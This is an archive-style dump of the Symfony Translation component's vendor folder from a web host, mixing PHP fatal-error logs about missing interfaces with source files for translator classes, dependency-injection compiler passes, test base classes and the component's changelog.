Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php on line 22 [24-Nov-2025 10:07:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatableInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php on line 20 [24-Nov-2025 10:13:46 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php on line 22 [24-Nov-2025 10:18:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php on line 19 [24-Nov-2025 10:18:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\LocaleAwareInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php on line 20 [24-Nov-2025 11:51:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php on line 34 [24-Nov-2025 11:54:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\TranslatorBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php on line 17 [24-Nov-2025 11:55:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\MessageCatalogueInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php on line 20 [24-Nov-2025 12:49:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollectorTranslator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollectorTranslator.php on line 22 [25-Nov-2025 09:59:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\TranslatorBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php on line 17 [25-Nov-2025 10:02:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatableInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php on line 20 [25-Nov-2025 10:02:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\MessageCatalogueInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php on line 20 [25-Nov-2025 10:45:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\LocaleAwareInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php on line 20 [25-Nov-2025 10:45:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollectorTranslator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollectorTranslator.php on line 22 [25-Nov-2025 10:46:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php on line 34 [25-Nov-2025 10:48:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php on line 22 [25-Nov-2025 10:48:50 UTC] PHP Fatal error: Trait "Symfony\Contracts\Translation\TranslatorTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/IdentityTranslator.php on line 23 [25-Nov-2025 10:50:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php on line 19 translation/TranslatableMessage.php000064400000003010151113512140013520 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Contracts\Translation\TranslatableInterface; use Symfony\Contracts\Translation\TranslatorInterface; /** * @author Nate Wiebe */ class TranslatableMessage implements TranslatableInterface { private string $message; private array $parameters; private ?string $domain; public function __construct(string $message, array $parameters = [], string $domain = null) { $this->message = $message; $this->parameters = $parameters; $this->domain = $domain; } public function __toString(): string { return $this->getMessage(); } public function getMessage(): string { return $this->message; } public function getParameters(): array { return $this->parameters; } public function getDomain(): ?string { return $this->domain; } public function trans(TranslatorInterface $translator, string $locale = null): string { return $translator->trans($this->getMessage(), array_map( static fn ($parameter) => $parameter instanceof TranslatableInterface ? $parameter->trans($translator, $locale) : $parameter, $this->getParameters() ), $this->getDomain(), $locale); } } translation/DependencyInjection/TranslationExtractorPass.php000064400000002575151113512140020560 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Exception\RuntimeException; use Symfony\Component\DependencyInjection\Reference; /** * Adds tagged translation.extractor services to translation extractor. */ class TranslationExtractorPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('translation.extractor')) { return; } $definition = $container->getDefinition('translation.extractor'); foreach ($container->findTaggedServiceIds('translation.extractor', true) as $id => $attributes) { if (!isset($attributes[0]['alias'])) { throw new RuntimeException(sprintf('The alias for the tag "translation.extractor" of service "%s" must be set.', $id)); } $definition->addMethodCall('addExtractor', [$attributes[0]['alias'], new Reference($id)]); } } } translation/DependencyInjection/TranslatorPathsPass.php000064400000011265151113512140017513 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\AbstractRecursivePass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Definition; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\ServiceLocator; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\TraceableValueResolver; /** * @author Yonel Ceruto */ class TranslatorPathsPass extends AbstractRecursivePass { private int $level = 0; /** * @var array */ private array $paths = []; /** * @var array */ private array $definitions = []; /** * @var array> */ private array $controllers = []; /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('translator')) { return; } foreach ($this->findControllerArguments($container) as $controller => $argument) { $id = substr($controller, 0, strpos($controller, ':') ?: \strlen($controller)); if ($container->hasDefinition($id)) { [$locatorRef] = $argument->getValues(); $this->controllers[(string) $locatorRef][$container->getDefinition($id)->getClass()] = true; } } try { parent::process($container); $paths = []; foreach ($this->paths as $class => $_) { if (($r = $container->getReflectionClass($class)) && !$r->isInterface()) { $paths[] = $r->getFileName(); foreach ($r->getTraits() as $trait) { $paths[] = $trait->getFileName(); } } } if ($paths) { if ($container->hasDefinition('console.command.translation_debug')) { $definition = $container->getDefinition('console.command.translation_debug'); $definition->replaceArgument(6, array_merge($definition->getArgument(6), $paths)); } if ($container->hasDefinition('console.command.translation_extract')) { $definition = $container->getDefinition('console.command.translation_extract'); $definition->replaceArgument(7, array_merge($definition->getArgument(7), $paths)); } } } finally { $this->level = 0; $this->paths = []; $this->definitions = []; } } protected function processValue(mixed $value, bool $isRoot = false): mixed { if ($value instanceof Reference) { if ('translator' === (string) $value) { for ($i = $this->level - 1; $i >= 0; --$i) { $class = $this->definitions[$i]->getClass(); if (ServiceLocator::class === $class) { if (!isset($this->controllers[$this->currentId])) { continue; } foreach ($this->controllers[$this->currentId] as $class => $_) { $this->paths[$class] = true; } } else { $this->paths[$class] = true; } break; } } return $value; } if ($value instanceof Definition) { $this->definitions[$this->level++] = $value; $value = parent::processValue($value, $isRoot); unset($this->definitions[--$this->level]); return $value; } return parent::processValue($value, $isRoot); } private function findControllerArguments(ContainerBuilder $container): array { if (!$container->has('argument_resolver.service')) { return []; } $resolverDef = $container->findDefinition('argument_resolver.service'); if (TraceableValueResolver::class === $resolverDef->getClass()) { $resolverDef = $container->getDefinition($resolverDef->getArgument(0)); } $argument = $resolverDef->getArgument(0); if ($argument instanceof Reference) { $argument = $container->getDefinition($argument); } return $argument->getArgument(0); } } translation/DependencyInjection/TranslationDumperPass.php000064400000002133151113512140020027 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; /** * Adds tagged translation.formatter services to translation writer. */ class TranslationDumperPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('translation.writer')) { return; } $definition = $container->getDefinition('translation.writer'); foreach ($container->findTaggedServiceIds('translation.dumper', true) as $id => $attributes) { $definition->addMethodCall('addDumper', [$attributes[0]['alias'], new Reference($id)]); } } } translation/DependencyInjection/error_log000064400000015000151113512140014726 0ustar00[18-Nov-2025 23:33:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php on line 22 [18-Nov-2025 23:35:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php on line 21 [19-Nov-2025 03:06:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Compiler\AbstractRecursivePass" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php on line 24 [19-Nov-2025 04:13:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php on line 19 [19-Nov-2025 06:32:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Compiler\AbstractRecursivePass" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php on line 24 [19-Nov-2025 06:34:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php on line 21 [19-Nov-2025 06:34:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php on line 22 [19-Nov-2025 11:01:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php on line 19 [25-Nov-2025 02:58:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Compiler\AbstractRecursivePass" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php on line 24 [25-Nov-2025 02:59:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php on line 21 [25-Nov-2025 03:32:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php on line 19 [25-Nov-2025 05:29:26 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php on line 22 [26-Nov-2025 01:18:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationExtractorPass.php on line 22 [26-Nov-2025 02:07:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPass.php on line 19 [26-Nov-2025 03:31:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DependencyInjection\Compiler\AbstractRecursivePass" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslatorPathsPass.php on line 24 [26-Nov-2025 03:35:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DependencyInjection/TranslationDumperPass.php on line 21 translation/DependencyInjection/TranslatorPass.php000064400000007327151113512140016517 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; class TranslatorPass implements CompilerPassInterface { /** * @return void */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('translator.default')) { return; } $loaders = []; $loaderRefs = []; foreach ($container->findTaggedServiceIds('translation.loader', true) as $id => $attributes) { $loaderRefs[$id] = new Reference($id); $loaders[$id][] = $attributes[0]['alias']; if (isset($attributes[0]['legacy-alias'])) { $loaders[$id][] = $attributes[0]['legacy-alias']; } } if ($container->hasDefinition('translation.reader')) { $definition = $container->getDefinition('translation.reader'); foreach ($loaders as $id => $formats) { foreach ($formats as $format) { $definition->addMethodCall('addLoader', [$format, $loaderRefs[$id]]); } } } $container ->findDefinition('translator.default') ->replaceArgument(0, ServiceLocatorTagPass::register($container, $loaderRefs)) ->replaceArgument(3, $loaders) ; if ($container->hasDefinition('validator') && $container->hasDefinition('translation.extractor.visitor.constraint')) { $constraintVisitorDefinition = $container->getDefinition('translation.extractor.visitor.constraint'); $constraintClassNames = []; foreach ($container->getDefinitions() as $definition) { if (!$definition->hasTag('validator.constraint_validator')) { continue; } // Resolve constraint validator FQCN even if defined as %foo.validator.class% parameter $className = $container->getParameterBag()->resolveValue($definition->getClass()); // Extraction of the constraint class name from the Constraint Validator FQCN $constraintClassNames[] = str_replace('Validator', '', substr(strrchr($className, '\\'), 1)); } $constraintVisitorDefinition->setArgument(0, $constraintClassNames); } if (!$container->hasParameter('twig.default_path')) { return; } $paths = array_keys($container->getDefinition('twig.template_iterator')->getArgument(1)); if ($container->hasDefinition('console.command.translation_debug')) { $definition = $container->getDefinition('console.command.translation_debug'); $definition->replaceArgument(4, $container->getParameter('twig.default_path')); if (\count($definition->getArguments()) > 6) { $definition->replaceArgument(6, $paths); } } if ($container->hasDefinition('console.command.translation_extract')) { $definition = $container->getDefinition('console.command.translation_extract'); $definition->replaceArgument(5, $container->getParameter('twig.default_path')); if (\count($definition->getArguments()) > 7) { $definition->replaceArgument(7, $paths); } } } } translation/Test/ProviderFactoryTestCase.php000064400000010376151113512140015311 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Test; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Psr\Log\LoggerInterface; use Symfony\Component\HttpClient\MockHttpClient; use Symfony\Component\Translation\Dumper\XliffFileDumper; use Symfony\Component\Translation\Exception\IncompleteDsnException; use Symfony\Component\Translation\Exception\UnsupportedSchemeException; use Symfony\Component\Translation\Loader\LoaderInterface; use Symfony\Component\Translation\Provider\Dsn; use Symfony\Component\Translation\Provider\ProviderFactoryInterface; use Symfony\Component\Translation\TranslatorBagInterface; use Symfony\Contracts\HttpClient\HttpClientInterface; /** * A test case to ease testing a translation provider factory. * * @author Mathieu Santostefano * * @internal */ abstract class ProviderFactoryTestCase extends TestCase { protected HttpClientInterface $client; protected LoggerInterface|MockObject $logger; protected string $defaultLocale; protected LoaderInterface|MockObject $loader; protected XliffFileDumper|MockObject $xliffFileDumper; protected TranslatorBagInterface|MockObject $translatorBag; abstract public function createFactory(): ProviderFactoryInterface; /** * @return iterable */ abstract public static function supportsProvider(): iterable; /** * @return iterable */ abstract public static function createProvider(): iterable; /** * @return iterable */ public static function unsupportedSchemeProvider(): iterable { return []; } /** * @return iterable */ public static function incompleteDsnProvider(): iterable { return []; } /** * @dataProvider supportsProvider */ public function testSupports(bool $expected, string $dsn) { $factory = $this->createFactory(); $this->assertSame($expected, $factory->supports(new Dsn($dsn))); } /** * @dataProvider createProvider */ public function testCreate(string $expected, string $dsn) { $factory = $this->createFactory(); $provider = $factory->create(new Dsn($dsn)); $this->assertSame($expected, (string) $provider); } /** * @dataProvider unsupportedSchemeProvider */ public function testUnsupportedSchemeException(string $dsn, string $message = null) { $factory = $this->createFactory(); $dsn = new Dsn($dsn); $this->expectException(UnsupportedSchemeException::class); if (null !== $message) { $this->expectExceptionMessage($message); } $factory->create($dsn); } /** * @dataProvider incompleteDsnProvider */ public function testIncompleteDsnException(string $dsn, string $message = null) { $factory = $this->createFactory(); $dsn = new Dsn($dsn); $this->expectException(IncompleteDsnException::class); if (null !== $message) { $this->expectExceptionMessage($message); } $factory->create($dsn); } protected function getClient(): HttpClientInterface { return $this->client ??= new MockHttpClient(); } protected function getLogger(): LoggerInterface { return $this->logger ??= $this->createMock(LoggerInterface::class); } protected function getDefaultLocale(): string { return $this->defaultLocale ??= 'en'; } protected function getLoader(): LoaderInterface { return $this->loader ??= $this->createMock(LoaderInterface::class); } protected function getXliffFileDumper(): XliffFileDumper { return $this->xliffFileDumper ??= $this->createMock(XliffFileDumper::class); } protected function getTranslatorBag(): TranslatorBagInterface { return $this->translatorBag ??= $this->createMock(TranslatorBagInterface::class); } } translation/Test/ProviderTestCase.php000064400000005066151113512140013761 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Test; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Psr\Log\LoggerInterface; use Symfony\Component\HttpClient\MockHttpClient; use Symfony\Component\Translation\Dumper\XliffFileDumper; use Symfony\Component\Translation\Loader\LoaderInterface; use Symfony\Component\Translation\Provider\ProviderInterface; use Symfony\Component\Translation\TranslatorBagInterface; use Symfony\Contracts\HttpClient\HttpClientInterface; /** * A test case to ease testing a translation provider. * * @author Mathieu Santostefano * * @internal */ abstract class ProviderTestCase extends TestCase { protected HttpClientInterface $client; protected LoggerInterface|MockObject $logger; protected string $defaultLocale; protected LoaderInterface|MockObject $loader; protected XliffFileDumper|MockObject $xliffFileDumper; protected TranslatorBagInterface|MockObject $translatorBag; abstract public static function createProvider(HttpClientInterface $client, LoaderInterface $loader, LoggerInterface $logger, string $defaultLocale, string $endpoint): ProviderInterface; /** * @return iterable */ abstract public static function toStringProvider(): iterable; /** * @dataProvider toStringProvider */ public function testToString(ProviderInterface $provider, string $expected) { $this->assertSame($expected, (string) $provider); } protected function getClient(): MockHttpClient { return $this->client ??= new MockHttpClient(); } protected function getLoader(): LoaderInterface { return $this->loader ??= $this->createMock(LoaderInterface::class); } protected function getLogger(): LoggerInterface { return $this->logger ??= $this->createMock(LoggerInterface::class); } protected function getDefaultLocale(): string { return $this->defaultLocale ??= 'en'; } protected function getXliffFileDumper(): XliffFileDumper { return $this->xliffFileDumper ??= $this->createMock(XliffFileDumper::class); } protected function getTranslatorBag(): TranslatorBagInterface { return $this->translatorBag ??= $this->createMock(TranslatorBagInterface::class); } } translation/Test/error_log000064400000003776151113512140011745 0ustar00[19-Nov-2025 12:48:42 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderTestCase.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderTestCase.php on line 31 [19-Nov-2025 12:54:39 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderFactoryTestCase.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderFactoryTestCase.php on line 34 [19-Nov-2025 18:40:13 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderFactoryTestCase.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderFactoryTestCase.php on line 34 [19-Nov-2025 18:40:14 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderTestCase.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderTestCase.php on line 31 [25-Nov-2025 23:09:46 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderFactoryTestCase.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderFactoryTestCase.php on line 34 [26-Nov-2025 01:35:44 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\TestCase" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderTestCase.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Test/ProviderTestCase.php on line 31 translation/IdentityTranslator.php000064400000001225151113512140013450 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Contracts\Translation\LocaleAwareInterface; use Symfony\Contracts\Translation\TranslatorInterface; use Symfony\Contracts\Translation\TranslatorTrait; /** * IdentityTranslator does not translate anything. * * @author Fabien Potencier */ class IdentityTranslator implements TranslatorInterface, LocaleAwareInterface { use TranslatorTrait; } translation/CHANGELOG.md000064400000015606151113512150010716 0ustar00CHANGELOG ========= 6.2.7 ----- * [BC BREAK] The following data providers for `ProviderFactoryTestCase` are now static: `supportsProvider()`, `createProvider()`, `unsupportedSchemeProvider()`and `incompleteDsnProvider()` * [BC BREAK] `ProviderTestCase::toStringProvider()` is now static 6.2 --- * Deprecate `PhpStringTokenParser` * Deprecate `PhpExtractor` in favor of `PhpAstExtractor` * Add `PhpAstExtractor` (requires [nikic/php-parser](https://github.com/nikic/php-parser) to be installed) 6.1 --- * Parameters implementing `TranslatableInterface` are processed * Add the file extension to the `XliffFileDumper` constructor 5.4 --- * Add `github` format & autodetection to render errors as annotations when running the XLIFF linter command in a Github Actions environment. * Translation providers are not experimental anymore 5.3 --- * Add `translation:pull` and `translation:push` commands to manage translations with third-party providers * Add `TranslatorBagInterface::getCatalogues` method * Add support to load XLIFF string in `XliffFileLoader` 5.2.0 ----- * added support for calling `trans` with ICU formatted messages * added `PseudoLocalizationTranslator` * added `TranslatableMessage` objects that represent a message that can be translated * added the `t()` function to easily create `TranslatableMessage` objects * Added support for extracting messages from `TranslatableMessage` objects 5.1.0 ----- * added support for `name` attribute on `unit` element from xliff2 to be used as a translation key instead of always the `source` element 5.0.0 ----- * removed support for using `null` as the locale in `Translator` * removed `TranslatorInterface` * removed `MessageSelector` * removed `ChoiceMessageFormatterInterface` * removed `PluralizationRule` * removed `Interval` * removed `transChoice()` methods, use the trans() method instead with a %count% parameter * removed `FileDumper::setBackup()` and `TranslationWriter::disableBackup()` * removed `MessageFormatter::choiceFormat()` * added argument `$filename` to `PhpExtractor::parseTokens()` * removed support for implicit STDIN usage in the `lint:xliff` command, use `lint:xliff -` (append a dash) instead to make it explicit. 4.4.0 ----- * deprecated support for using `null` as the locale in `Translator` * deprecated accepting STDIN implicitly when using the `lint:xliff` command, use `lint:xliff -` (append a dash) instead to make it explicit. * Marked the `TranslationDataCollector` class as `@final`. 4.3.0 ----- * Improved Xliff 1.2 loader to load the original file's metadata * Added `TranslatorPathsPass` 4.2.0 ----- * Started using ICU parent locales as fallback locales. * allow using the ICU message format using domains with the "+intl-icu" suffix * deprecated `Translator::transChoice()` in favor of using `Translator::trans()` with a `%count%` parameter * deprecated `TranslatorInterface` in favor of `Symfony\Contracts\Translation\TranslatorInterface` * deprecated `MessageSelector`, `Interval` and `PluralizationRules`; use `IdentityTranslator` instead * Added `IntlFormatter` and `IntlFormatterInterface` * added support for multiple files and directories in `XliffLintCommand` * Marked `Translator::getFallbackLocales()` and `TranslationDataCollector::getFallbackLocales()` as internal 4.1.0 ----- * The `FileDumper::setBackup()` method is deprecated. * The `TranslationWriter::disableBackup()` method is deprecated. * The `XliffFileDumper` will write "name" on the "unit" node when dumping XLIFF 2.0. 4.0.0 ----- * removed the backup feature of the `FileDumper` class * removed `TranslationWriter::writeTranslations()` method * removed support for passing `MessageSelector` instances to the constructor of the `Translator` class 3.4.0 ----- * Added `TranslationDumperPass` * Added `TranslationExtractorPass` * Added `TranslatorPass` * Added `TranslationReader` and `TranslationReaderInterface` * Added `` section to the Xliff 2.0 dumper. * Improved Xliff 2.0 loader to load `` 